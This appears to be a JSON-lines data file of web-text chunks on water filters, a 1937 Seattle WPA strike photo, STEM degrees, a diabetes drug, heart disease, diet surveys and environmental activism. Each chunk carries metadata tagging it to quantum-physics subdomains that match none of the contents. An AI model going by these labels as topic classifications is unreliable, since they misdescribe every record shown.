make and use biosand water filters. so here is how it \u2019 s done. the first thing you need is a mold, and it is best to have it made locally because they are heavy and expensive to ship. most of the other materials you need to make the filters are pretty easy to find throughout the world. some of those things are sand, gravel, tubing, tools and sieves. it takes approximately 2 days to complete a filter and a lot of that is drying time for the cement mold. yes, we even learned to make cement! once it is dried and the tube is in, the next step is to charge the filter, which means you put", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.43496714366391176, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.651485"} {"text": "| title | | demonstrators with signs outside seattle chamber of commerce during wpa strike, seattle, 1937 | | caption | | in 1936, the federal works progress administration hired some 9, 000 unemployed king county residents on 271 different projects ranging from improving roads and parks to serving school lunches. congress reduced funding for the wpa in 1937, causing nationwide layoffs. in seattle, some workers stormed the wpa offices to protest the layoffs. others staged sitdown strikes or picketed on downtown sidewalks. | this photo, taken during the summer of 1937, shows a group of wpa picketers outside the seattle chamber of commerce on third avenue and columbia street. the man at right is displaying a copy of the daily worker, the newspaper of the american communist party. one of the protest signs supports the wagner act, a pro - union bill that eventually passed congress. | notes | | protest signs read : stop wpa lay - offs. poverty forces women to the streets. support wagner act. fools starve, workers fight. we demand cash relief. | signs on building read : seattle chamber of commerce, third floor. handwritten on image : picketts [ sic ]. handwritten on sleeve : strikes - wpa - seattle. caption by mohai staff. date photograph was filed at the seattle post - intelligencer ( date of photograph and file date may differ by a month or more ) : july 15, 1937. | subjects | | strikes - - washington ( state ) - - seattle ; activists - - washington ( state ) - - seattle ; demonstrations - - washington ( state ) - - seattle ; depressions - - washington ( state ) - - seattle ; united states. works progress administration | | places | | united states - - washington ( state ) - - seattle | | digital collection | | museum of history & industry photograph collection | | image number | | pi22387 | | ordering information | | to order a reproduction or to inquire about permissions contact firstname. lastname @ example. org or phone us at 206 - 324 - 1126. please refer to the image number and provide a brief description of the photograph. | | credit line | | seattle post - intelligencer collection, museum of history & industry, seattle ; all rights reserved | | repository | | museum of history & industry, seattle ( mohai ) | | repository collection | | seattle post - intelligencer collection | | physical description | | 1 nitrate negative : b & w ; 4 x 5 in. ; stained | |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.42869548885119513, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.653899"} {"text": "| | increase college access, quality, and completion by strengthening higher education and lifelong learning opportunities. | | restore and sustain america \u2019 s lead in the modern knowledge economy, by improving the participation and performance of america \u2019 s students in science, technology, engineering, and mathematics ( stem ) subjects and fields. | how progress is measured : | | bachelor ' s degrees awarded in science, technology, engineering, and mathematics : 1998 - 99 and 2008 - 09 | why is this measure important? | | few issues matter more to america \u2019 s vitality than continuing this nation \u2019 s tradition of leading advances in science, technology, engineering, and math ( stem ) fields, and the host of applications that can dramatically improve the quality of life in america and around the world. yet, the 2009 program for international student assessment ( pisa ) ranked american students behind their peers in 12 out of 33 other developed nations in science literacy ( ahead of peers in 9 nations and on par with peers in 12 nations ) and behind their peers in 17 developed nations in mathematics literacy ( ahead of 5 nations and on par with 11 nations ). http : / / nces. ed. gov / surveys / pisa / pisa2009highlights. asp and, today, only 23 % of college freshmen declare a stem major. worse still, just 40 % of those who elect stem majors freshman year receive a stem degree within 6 years. our students need to do better, in order to thrive as informed citizens and consumers, and to contribute as workers, employers, and innovators. over the long term, the nation \u2019 s ability to address key challenges, like spurring advancements in health and medicine, the environment, space exploration, food production, and a host of other areas that can revitalize the american economy, depends on more students entering \u2013 and greater numbers persisting in \u2013 stem fields. it is important for our economic future, as the innovations of tomorrow will be created by scientists and engineers of today. | what do the data tell us at the national level? | | the percentage of bachelor ' s degrees conferred in science, technology, engineering, and mathematics fields in the united states was lower in 2008 \u2013 09 ( 24. 2 percent ) than it was in 1998 \u2013 99 ( 25. 6 percent ). | what are the limitations of the indicator? | | this indicator provides information on the percentage of graduates in stem fields, but does not provide an indication of the percentage of graduates in other fields who also take significant amounts of stem coursework.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5029865274891343, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.658264"} {"text": "). | what are the limitations of the indicator? | | this indicator provides information on the percentage of graduates in stem fields, but does not provide an indication of the percentage of graduates in other fields who also take significant amounts of stem coursework. data are assembled based on major field aggregations. in the major field aggregations that were not classified as stem, some individual fields could be classified as stem ( such as econometrics within social sciences and history ). the data reflect aggregations of degrees conferred by institutions located within the given state, rather than aggregations of residents of that state ( who may be attending out - of - state institutions and are counted in data in the institution state ). | documentation for the indicator : | | data on degree awards are from the integrated postsecondary education data system ( ipeds ), completions survey. as mandated by title iv of the higher education act, ipeds gathers information from every college, university, and technical and vocational institution that participates in the federal student financial aid programs ( more than 6, 700 institutions each year ). science, technology, engineering, and mathematics ( or stem ) fields, as defined here, include agriculture and natural resources, biology and biomedical sciences, computer and information sciences, engineering and engineering technologies, health professions and clinical sciences, mathematics and statistics, and physical sciences and science technologies. for additional information on ipeds, see http : / / nces. ed. gov / ipeds /. for additional information on nces surveys on degrees conferred, see : http : / / nces. ed. gov / pubsearch / pubsinfo. asp? pubid = 2010161.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5020851748834538, "token_count": 345, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.658956"} {"text": "editor ' s note : on jan. 19, 2012, the pharmaceutical companies astrazeneca and bristol - myers squibb announced that the fda rejected their approval request for dapagliflozin, calling for more research data on the drug \u2019 s benefits and risks. both companies say they remain committed to developing the drug and will work with the fda to determine the next steps. july 19, 2011 - - in a 9 - 6 vote, an advisory panel said the fda should not yet approve dapagliflozin, a new type of diabetes drug that makes the body dump sugar and lose weight. signals of possible liver damage and of breast and bladder cancer worried the experts. the split vote, as well as panelist comments, makes it uncertain whether the fda will approve the drug, jointly made by bristol - myers squibb and astrazeneca. the fda will certainly ask the companies to gather more data on side effects ; the key question is whether the agency will ask for this data before or after approval. dapagliflozin is the first in a new class of diabetes drugs. normally, the kidney recycles sugar back into the body. but dapagliflozin inhibits a transporter molecule called sglt - 2. the result : sugar passes out of the body in the urine, lowering blood sugar without affecting insulin levels. another result : patients lose weight. in clinical trials, type 2 diabetes patients who took dapagliflozin for six months lost 1 to 5 pounds. in a special study to look at weight loss in people with diabetes, 30 % of those who took dapagliflozin plus metformin lost 5 % of their body weight. a downside to the drug is that diabetes often damages the kidneys. even moderate loss of kidney function makes dapagliflozin much less effective. the drug would be given only to patients with sufficient kidney function, but some panelists questioned the value of a proposed test to determine which patients could take dapagliflozin. and the drug has side effects. all that sugar in the urine increases patients ' risk of urinary tract and genital infections. there are other worries, too - - including dehydration and heat intolerance - - but members of the advisory committee were far less worried about these side effects than about the possible risk of cancer and liver toxicity. in clinical trials, nearly 4, 300 people with type 2 diabetes received dapagliflozin for over a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4321151295011385, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.666250"} {"text": "- - but members of the advisory committee were far less worried about these side effects than about the possible risk of cancer and liver toxicity. in clinical trials, nearly 4, 300 people with type 2 diabetes received dapagliflozin for over a year ; 441 patients were treated for at least two years. in these trials, five patients showed signs of liver toxicity. only in one case was this liver toxicity classified as \" probable diagnosis of mild to moderately severe dapagliflozin - induced liver injury. \" but such a strong signal, even in a single patient, is worrisome. nine patients taking dapagliflozin developed bladder cancer ; only one case was seen in those not taking dapagliflozin. nine other patients taking dapagliflozin developed breast cancer. there were no breast cancers in those not taking dapagliflozin. that ' s by no means proof that the drug causes cancer. but definitive studies might require thousands of patients. the question now before the fda is whether the modest blood - sugar - lowering and weight - reducing benefits of dapagliflozin are worth the risk. get the latest diabetes newsletter delivered to your inbox! your level is currently if the level is below 70 and you are experiencing symptoms such as shaking, sweating or difficulty thinking, you will need to raise the number immediately. a quick solution is to eat a few pieces of hard candy or 1 tablespoon of sugar or honey. recheck your numbers again in 15 minutes to see if the number has gone up. if not, repeat the steps above or call your doctor. people who experience hypoglycemia several times in a week should call their health care provider. it ' s important to monitor your levels each day so you can make sure your numbers are within the range. if you are pregnant always consult with your health care provider. congratulations on taking steps to manage your health. however, it ' s important to continue to track your numbers so that you can make lifestyle changes if needed. if you are pregnant always consult with your physician. your level is high if this reading was taken before eating. aim for 70 - 130 before meals and less than 180 two hours after meals. even if your number is high, it ' s not too late for you to take control of your health and lower your blood sugar. one of the first steps is to monitor your levels each day. if you are pregnant always consult with your physician. thank you for signing up for the web", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44046623795424256, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.667219"} {"text": "gertrude fitzgerald was born april 1, 1876 in fulton, illinois to ebenezer baird and sue mussina. in 1896 she married benjamin fitzgerald, an engineer. his job led the family to various locations in latin america, especially in mexico. the fitzgerald family lived most of the time in the small mountain community of madera, chihuahua, an important part of the pearson company \u2019 s industrial empire. gertrude fitzgerald became interested in photography while living in madera, and some of her photographs were used by the pearson company to make postcards to show prospective employees that they would be living in comfortable modern conditions. after the beginning of the revolution in 1910, gertrude and the children, nellie and gerald, became refugees from the turmoil. they finally left mexico in 1915 and moved to el paso, texas, where the status of the family soon changed. benjamin fitzgerald could not find work in the area and left to work for his father in louisiana. because of health problems gertrude stayed in el paso. the couple separated permanently in 1916. gertrude found no market for her photography, but continued taking pictures. in el paso she worked in retail businesses including the popular dry goods company and the white house. gertrude fitzgerald died on september 26, 1956 in el paso, texas. the gertrude fitzgerald photographs images consist primarily of photographs taken by gertrude fitzgerald of her family life and people and places related to the travel and work of her husband. these photographs consist of images of madera, chihuahua, including photographs of workers in the pearson lumber company near madera ; photographs of federal troops preparing for or returning from military actions in the mexican revolution ( about 1910 ) ; images of mexico city, mostly chapultepec or the shrine of our lady of guadalupe ; and landscapes and ruins near casas grandes in the state of chihuahua, mexico. other images show scenes from the el paso, texas area, including local landmarks and military life at fort bliss, as well as some photographs of mesilla, new mexico. photographs in the collection that were not taken by gertrude fitzgerald include scenes of the hurley and santa rita mines in new mexico and panoramic shots of mexican revolutionaries. the collection also contains ephemeral material and a large collection of postcards of el paso, texas. the physical makeup of the collection consists mainly of large format negatives and four glass plates along with original photographs.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4084798396028485, "token_count": 472, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.670758"} {"text": "symptoms of rheumatoid arthritis rheumatoid arthritis ( ra ) is a chronic ( long - term ) disease. rheumatoid arthritis symptoms can come and go, and each person with ra is affected differently. some people have long periods of remission. their rheumatoid arthritis is inactive, and they have few or no symptoms during this time. other people might have near - constant rheumatoid arthritis symptoms for months at a stretch. although rheumatoid arthritis can involve different parts the body, joints are always affected. when the disease acts up, joints become inflamed. inflammation is the body ' s natural response to infection or other threats, but in rheumatoid arthritis inflammation occurs inappropriately and for unknown reasons. rheumatoid arthritis and joint inflammation joint inflammation is a hallmark of rheumatoid arthritis. that includes : - stiffness. the joint is harder to use and might have a limited range of motion. \" morning stiffness \" is one of the hallmark symptoms of rheumatoid arthritis. while many people with other forms of arthritis have stiff joints in the morning, it takes people with rheumatoid arthritis more than an hour ( sometimes several hours ) before their joints feel loose. - swelling. fluid enters into the joint and it becomes puffy ; this also contributes to stiffness. - pain. inflammation inside a joint makes it sensitive and tender. prolonged inflammation causes damage that also contributes to pain. - redness and warmth. the joints may be somewhat warmer and more pink or red than neighboring skin. which joints does ra affect? the hands are almost always affected, although literally any joint can be affected with rheumatoid arthritis symptoms : knees, wrists, neck, shoulders, elbows, even the jaw. joints are usually affected in a symmetrical pattern - - the same joints on both sides of the body.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4545638377696811, "token_count": 392, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.673896"} {"text": "congestive heart failure ( chf ) congestive heart failure and pulmonary edema - congestive heart failure ( chf ) is an imbalance in pump function in which the heart fails to maintain the circulation of blood adequately. the most severe manifestation of chf, pulmonary edema, develops when this imbalance causes an increase in lung fluid secondary to leakage from pulmonary capillaries into the interstitium and alveoli of the lung. chf can be categorized as forward or backward ventricular failure. a diagnosis of heart failure sounds scary, as if your heart could stop at any moment. but the underlying heart conditions that commonly cause heart failure, such as coronary artery disease or high blood pressure, typically develop slowly over many years. the development of heart failure usually means that your heart ' s ability to pump blood has weakened, so it can ' t circulate enough blood to meet your body ' s needs. shortness of breath, fatigue and leg swelling may result. when fluid builds up, heart failure is called congestive. sometimes the heart becomes too stiff to fill properly, and that also can lead to heart failure. although sometimes there ' s no way to reverse damage to your heart, treatments can significantly improve signs and symptoms. you can also make lifestyle changes, such as exercising, reducing salt intake, and losing weight, to help your weakened heart work as efficiently as possible. your best defense against heart failure is to prevent or control risk factors that lead to coronary artery disease, such as high blood pressure, high cholesterol levels, diabetes, smoking, alcohol abuse, inactivity and obesity. signs and symptoms heart failure typically doesn ' t occur suddenly. it develops slowly, over time. it ' s usually a chronic, long - term condition. the first and often only symptom may be shortness of breath. signs and symptoms of heart failure can include : your circulatory system includes arteries and veins. arteries deliver oxygen - rich blood to the organs and tissues of your body. veins bring oxygen - poor blood back to your heart to be cycled through your heart and lungs and back out to the rest of your body, via your arteries. your heart, the center of your circulatory system, consists of four chambers. throughout your life, your heart beats approximately once a second. in a single day, your heart beats about 100, 000 times. your heart ' s two upper chambers, the atria, receive blood. the two lower chambers, the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5203344861945478, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.684305"} {"text": "four chambers. throughout your life, your heart beats approximately once a second. in a single day, your heart beats about 100, 000 times. your heart ' s two upper chambers, the atria, receive blood. the two lower chambers, the ventricles, pump blood. blood returning to your heart enters the right upper chamber ( right atrium ) of your heart. from there, blood empties into the right ventricle underneath. the right ventricle pumps blood into your lungs, where blood is oxygenated. oxygenated blood from your lungs then returns to your heart, but this time to the left side \u2014 to the left upper chamber ( left atrium ). blood then flows into the left ventricle underneath \u2014 your heart ' s main pumping chamber. with each heartbeat, your left ventricle pumps blood into your body ' s largest artery ( aorta ) and onward to the rest of your body. your heart is composed of two upper and two lower chambers. the upper chambers, the right and left atria, receive incoming blood. the lower chambers, the more muscular right and left ventricles, pump... heart failure can involve the left side, right side or both sides of your heart. typically, heart failure begins with the left side \u2014 specifically the left ventricle, your heart ' s main pumping chamber. your doctor may refer to your condition as left - sided or left ventricular heart failure. he or she may define it further as systolic heart failure ( when the left ventricle loses its ability to contract vigorously ) or diastolic heart failure ( when the left ventricle loses its ability to relax or fill fully ) or a combination of both. the distinction is important because the drug treatments for each type may be different. right - sided heart failure can occur independently or be a consequence of left ventricular heart failure. heart failure often occurs because other cardiac conditions have damaged or weakened your heart, forcing it to work harder. a weakened heart can ' t pump blood efficiently throughout your body. this causes blood to pool in your legs, feet and ankles, your kidneys to retain excess water and sodium, and fluid to back up into your lungs, leading to shortness of breath. this buildup of fluid is called congestive heart failure. heart failure often results from the stress of a heart attack, high blood pressure, or other forms of heart disease such as valve disorders. in fact, all of the behaviors that you probably associate with heart attack or heart", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5176622751677373, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.685350"} {"text": "called congestive heart failure. heart failure often results from the stress of a heart attack, high blood pressure, or other forms of heart disease such as valve disorders. in fact, all of the behaviors that you probably associate with heart attack or heart disease \u2014 such as smoking, being overweight, eating foods high in cholesterol and fat, and not exercising \u2014 also cause or contribute to heart failure. sometimes, your heart becomes weakened without explanation, a condition known as idiopathic dilated cardiomyopathy. if you have heart failure, chances are you ' ve had one or more of the following conditions, which can damage or weaken your heart. some of these can be present without you even knowing it : other diseases \u2014 such as diabetes, severe anemia, hyperthyroidism, kidney or liver failure, and emphysema \u2014 also may precipitate heart failure. a single risk factor may be sufficient to cause heart failure, but a combination of factors dramatically increases the risk. risk factors include : blacks are more likely to develop heart failure, and the prognosis is generally worse. when to seek medical advice see your doctor if you experience any of the signs or symptoms associated with heart failure. often signs and symptoms of heart failure initiate an emergency room visit, where the condition may first be diagnosed. other heart and lung problems can cause signs and symptoms that are similar to heart failure. if you have a diagnosis of heart failure, and if any of the signs or symptoms suddenly become worse or you develop a new sign or symptom, it may indicate that known heart failure is getting worse or not responding to treatment. contact your doctor promptly.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4549106987376761, "token_count": 337, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.686019"} {"text": "the aim of this paper is to examine the factors associated with the belief that vegetarian diets provide health benefits. a random population mail survey about food choice was conducted among a sample of 1000 south australians. an additional ( non - random ) survey of 106 vegetarians and semi - vegetarians was also conducted, giving a total of 707 participants from both samples. the main predictors of the belief that vegetarian diets provide health benefits for all respondents were found to be the belief that meat is neither healthy nor necessary and frequent searching for information on healthy eating. however, there were differences between vegetarians, non - vegetarians and semi - vegetarians. in particular, health issues were relatively more important for semi - vegetarians and vegetarians, while knowledge and convenience issues were most important for non - vegetarians. the results have important implications for public health. many south australians perceive that health benefits are associated with eating a vegetarian diet, which may also apply to plant - based diets in general. however, if non - vegetarians are to obtain some of the health benefits associated with the consumption of a plant - based diet, they require information on the preparation of quick and easy plant - based meals. reproduced with the kind permission of the copyright owner. field of research 111199 nutrition and dietetics not elsewhere classified unless expressly stated otherwise, the copyright for items in deakin research online is owned by the author, with all rights reserved. every reasonable effort has been made to ensure that permission has been obtained for items included in dro. if you believe that your rights have been infringed by this repository, please contact firstname. lastname @ example. org.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4985011539881081, "token_count": 338, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.687734"} {"text": "by sarah pike, cross posted from aeon magazine julia butterfly hill spent 738 days living in a 55m california redwood tree in a successful attempt to prevent the clearing of surrounding forest. photo by eric slomanson one day last summer, a young woman looked down on a small crowd of vocal supporters and police officers from her hammock or \u2018 sky pod \u2019, 60ft above an old logging road in moshannon state forest in pennsylvania. the pod was tied to trees and anchored to a blockade across the road, so that anyone trying to move the blockade would release her in a dangerous, perhaps fatal, fall to the forest floor. another activist on the ground had locked his neck to one of the lines anchoring her pod. it was a familiar sight from protests against the logging of old - growth forests, but here the target was different. workers who arrived for their shift that sunday morning could not get past the blockades to attend to a 70ft hydraulic fracturing drill rig used to extract natural gas from the rock formations beneath the forest floor. \u2018 you \u2019 re adults, but you \u2019 re acting like children, \u2019 shouted one of the officers. they had been called to the scene by eqt, the natural gas company that had leased mineral rights to the gas - rich marcellus shale that lies beneath a large portion of several northeastern states, including pennsylvania, ohio and new york. \u2018 we are peaceful protesters, \u2019 responded one of the activists. other officers stood by with assault rifles, waiting to see what would happen. by henia belalia, cross posted from peaceful uprising how do activists use social movement history? what lessons can be learned from past movements for social change in our fight to stop climate change? we often rely on lessons and tactics from the u. s. civil rights movement. we think this might be the best source for our lessons from the past. how about the abolition of the slave trade? as an activist, i fight for climate justice. as an historian and a scholar of law and history, i study slavery and the slave trade. the movement for civil rights \u2014 certainly the mainstream movement \u2014 was based on the perceived need to have equal rights in an existing system. the right to vote, the right to fair housing. an end to segregation. integration into the existing status quo at every level. and none of these things are bad things. having equal rights is better than not having equal rights. but even the more radical wing of the civil rights movement questioned this strategy. s. n. c. c.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49395783835726403, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.697622"} {"text": "existing status quo at every level. and none of these things are bad things. having equal rights is better than not having equal rights. but even the more radical wing of the civil rights movement questioned this strategy. s. n. c. c. members often asked, \u201c do we really want to die for the right to vote? \u201d the movement for climate justice is different. we are demanding \u201c system change, not climate change. \u201d by brian owens, cross posted from nature an isolated population of arctic foxes that dines only on marine animals seems to be slowly succumbing to mercury poisoning. the foxes on mednyi island \u2014 one of russia \u2019 s commander islands in the bering sea \u2014 are a subspecies of arctic fox ( vulpes lagopus ) that may have remained isolated for thousands of years. they were once numerous enough to support a small yet thriving group of fur hunters. after humans abandoned the settlement in the 1970s, the fox population began to crash, falling from more than 1, 000 animals to fewer than 100 individuals today. by mike ludwig, cross posted from truthout photo from ashbygirls. blogspot. com the april 17 explosion at a fertilizer plant in west, texas, that killed 15 people and injured 200 was perhaps one of the most severe chemical accidents of its kind in recent memory, but it was by no means the first. earlier this month, for example, tyson foods and its affiliates agreed to a $ 4 million civil settlement with the environmental protection agency ( epa ) and the justice department for violations of the clean air act at 23 facilities in iowa, kansas, nebraska and missouri where the toxic chemical anhydrous ammonia was released during several occasions between 2006 and 2010, causing property damage, multiple injuries to workers and one death. the tyson incidents did not involve a massive explosion like the disaster in texas, but the accidents have one potentially deadly element in common : anhydrous ammonia. investigators now believe that large stores of ammonium nitrate caught on fire and caused the explosion at the west plant. but the plant also held two 12, 000 - gallon tanks of anhydrous ammonia that could have exacerbated the disaster in texas if they leaked or exploded, according to the center for effective government ( ceg ). during the past 15 years, 1, 000 accidents have occurred nationwide at chemical facilities that hold large quantities of anhydrous ammonia, according to data recently compiled by ceg. cross posted from real seeds on monday may 6th a draconian new law", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5301410185137964, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.698654"} {"text": "the past 15 years, 1, 000 accidents have occurred nationwide at chemical facilities that hold large quantities of anhydrous ammonia, according to data recently compiled by ceg. cross posted from real seeds on monday may 6th a draconian new law will be put before the european commission, which creates new powers to classify and regulate all plant life anywhere in europe. the \u201c plant reproductive material law \u201d will regulate all plants. it contains immediate restrictions on reproduction of vegetables and woodland trees, while creating powers to restrict all other plants of any other species at a later date. under the new law, it will immediately be illegal to grow, reproduce or trade any vegetable seed or tree that has not been tested, approved and accepted by a new \u201c eu plant variety agency \u201d. moreover, an annual fee must also be paid to the agency if that particular variety is to be used by anyone. cross posted from eco - action. org an article from do or die issue 9. in the paper edition, this article appears on page ( s ) 160 - 166. in 1999, in the aftermath of the june 18th global day of action, a pamphlet called reflections on june 18th was produced by some people in london, as an open - access collection of \u201c contributions on the politics behind the events that occurred in the city of london on june 18, 1999. \u201d contained in this collection was an article called \u2018 give up activism \u2019 which has generated quite a lot of discussion and debate both in the uk and internationally, being translated into several languages and reproduced in several different publications. here we republish the article together with a new postscript by the author addressing some comments and criticisms received since the original publication. one problem apparent in the june 18th day of action was the adoption of an activist mentality. this problem became particularly obvious with june 18th precisely because the people involved in organising it and the people involved on the day tried to push beyond these limitations. this piece is no criticism of anyone involved \u2013 rather an attempt to inspire some thought on the challenges that confront us if we are really serious in our intention of doing away with the capitalist mode of production. by stephen leahy, cross posted from the guardian monitoring of environmental activists in canada by the country \u2019 s police and security agencies has become the \u201c new normal \u201d, according to a researcher who has analysed security documents released under freedom of information laws. security and police agencies have been increasingly conflating terrorism and extremism with peaceful citizens exercising their democratic rights to organise petitions, protest and question government policies, said", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4770336516512643, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.699686"} {"text": "to a researcher who has analysed security documents released under freedom of information laws. security and police agencies have been increasingly conflating terrorism and extremism with peaceful citizens exercising their democratic rights to organise petitions, protest and question government policies, said jeffrey monaghan of the surveillance studies centre at queen \u2019 s university in kingston, ontario. the rcmp, canada \u2019 s national police force, and the canadian security intelligence service ( csis ) view activist activities such as blocking access to roads or buildings as \u201c forms of attack \u201d and depict those involved as national security threats, according to the documents. protests and opposition to canada \u2019 s resource - based economy, especially oil and gas production, are now viewed as threats to national security, monaghan said. in 2011 a montreal, quebec man who wrote letters opposing shale gas fracking was charged under canada \u2019 s anti - terrorism act. documents released in january show the rcmp has been monitoring quebec residents who oppose fracking. by yuxing zheng, cross posted from the orgonian salem \u2014 with talk about \u201c environmental terrorism, \u201d the oregon house approved two bills monday that target tree sitters and other environmental activists who interfere with logging in state forests. house bill 2595, which passed 43 - 12, would create the crime of interference with state forestland management. house bill 2596, which passed 51 - 4, would allow private contractors with the oregon department of forestry to sue environmental protestors for the cost of damaged equipment, employee wages, attorney fees and similar costs. both bills head to the senate. the legislation comes amid divisive efforts to increase logging in elliott state forest near reedsport and proposals to increase logging in federal forest lands. environmental activists affiliated with cascadia forest defenders and cascadia earth first! staged protests at elliott state forest in recent years and at the oregon state capitol in may and june 2012, which led to arrests. \u201c they are known to overturn their vehicles on roads, chain themselves to trees, chain themselves to equipment, damage equipment, dig ditches in the roads, drive spikes in trees to cause injuries to workers, among other dangerous acts, \u201d said rep. wayne krieger, r - gold beach, who carried both bills. \u201c this type of conduct cannot and should not be tolerated. \u201d house bill 2595 would allow district attorneys \u201c to charge these terrorists with a crime and make them accountable, \u201d he said. how should the animal rights and environmental movement use undercover footage of illegal practices? this article argues that the current trend of using footage", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5110277654235342, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.700692"} {"text": "house bill 2595 would allow district attorneys \u201c to charge these terrorists with a crime and make them accountable, \u201d he said. how should the animal rights and environmental movement use undercover footage of illegal practices? this article argues that the current trend of using footage to prosecute individual workers may be taking blame and attention away from industries of abuse. cross posted from the vegan police : image from opednews. com i \u2019 ve followed the introduction of ag gag bills \u2013 bills designed to criminalize undercover video of animal use industry \u2013 since they were in the dream phase in the wake of the conklin dairy farm undercover video in 2010. that particular undercover investigation, i feel, is one of the most important undercover video investigations in the history of the \u201c animal rights \u201d movement and set the stage for the current battles around ag gag bills as well as our movements response. the footage captured in that investigation was horrific and one particular character seemed to take pleasure in extreme violence against animals on the farm \u2013 billy joe gregg jr. it was nearly impossible to watch that footage and not dream of justice \u2013 whether you were a regular member of the public or a hardened animal liberationist. animal agriculture \u2013 across the country \u2013 went into overdrive to recognize this particular weakness and exploited it. billy joe gregg jr. was the \u201c bad apple, \u201d the fall guy. the movement as a whole was so wrapped up in this character, in this horrific footage, that very few people questioned the structure of industrialized animal use or the precedent being set \u2013 the singling out and criminalization of individual workers as a movement strategy and measure of \u201c success. \u201d by rabb! t / earth first! newswire national delisting of endangered species is on the rise, and flowing up the food chain. as was reported yesterday, the fish & wildlife service has proposed lifting all endangered species act protections from the critically endangered gray wolf. when state protections were lifted from this same species in montana, idaho and wyoming, populations diminished rapidly as hunters flocked to the area to take the lives of these majestic beasts. now, yet another predator has been taken off the endangered species list. recent studies have shown that united states fish & wildlife service populations have reached hazardous levels, causing irreversible damage to their natural biosphere and destroying plant and animal populations at an unsustainable rate. experts say that the organization \u2019 s levels of predation \u2014 which were tenuous to begin with \u2014 have escalated to such an extent that any protections bestowed upon them would be a danger to the north", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43926953784350975, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.701681"} {"text": "overeducated and underemployedjanuary 28, 2013 : 10 : 50 am et getting a college degree still helps your chances of getting a job, but not necessarily a good one. some americans are becoming overeducated for the jobs that are available to them, as data shows more college educated workers are taking low - skill jobs that are clearly below their qualifications. take taxi drivers for example. about 15 %, or more than than 1 in 7, had at least a bachelor ' s degree in 2010, according to bureau of labor statistics data. compare that to 1970 when less than 1 % of taxi drivers had college degrees. and the job description hasn ' t changed much, if at all, since then. \" a lot of people, particularly people with bachelor ' s degrees, are getting jobs, but not good jobs, \" said richard vedder, an economist at ohio university. in a study released monday, vedder shows that about 37 % of employed u. s. college graduates are working in jobs that require no more than a high school diploma. those include jobs like taxi drivers, sales clerks, firefighters and telemarketers. he calls this phenomenon \" credential inflation, \" as the supply of college grads is growing faster than the jobs requiring that level of education. vedder argues that an underemployment problem is likely to persist even after the u. s. economy recovers fully from the jobs crisis. he predicts that the number of college grads will grow by 19 million between 2010 and 2020, while the number of jobs requiring that education is expected to grow by less than 7 million.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4341164106389842, "token_count": 334, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.703196"} {"text": "curriculum & school to school connection corps - world wise schools peace corps global education resources for educators. videos and accompanying teacher guides, or pen pals with students around the globe help students gain understanding of cultures and regions of the world. the national peace corps association ' s project for global education including sharing a newsletter with the ascd. a 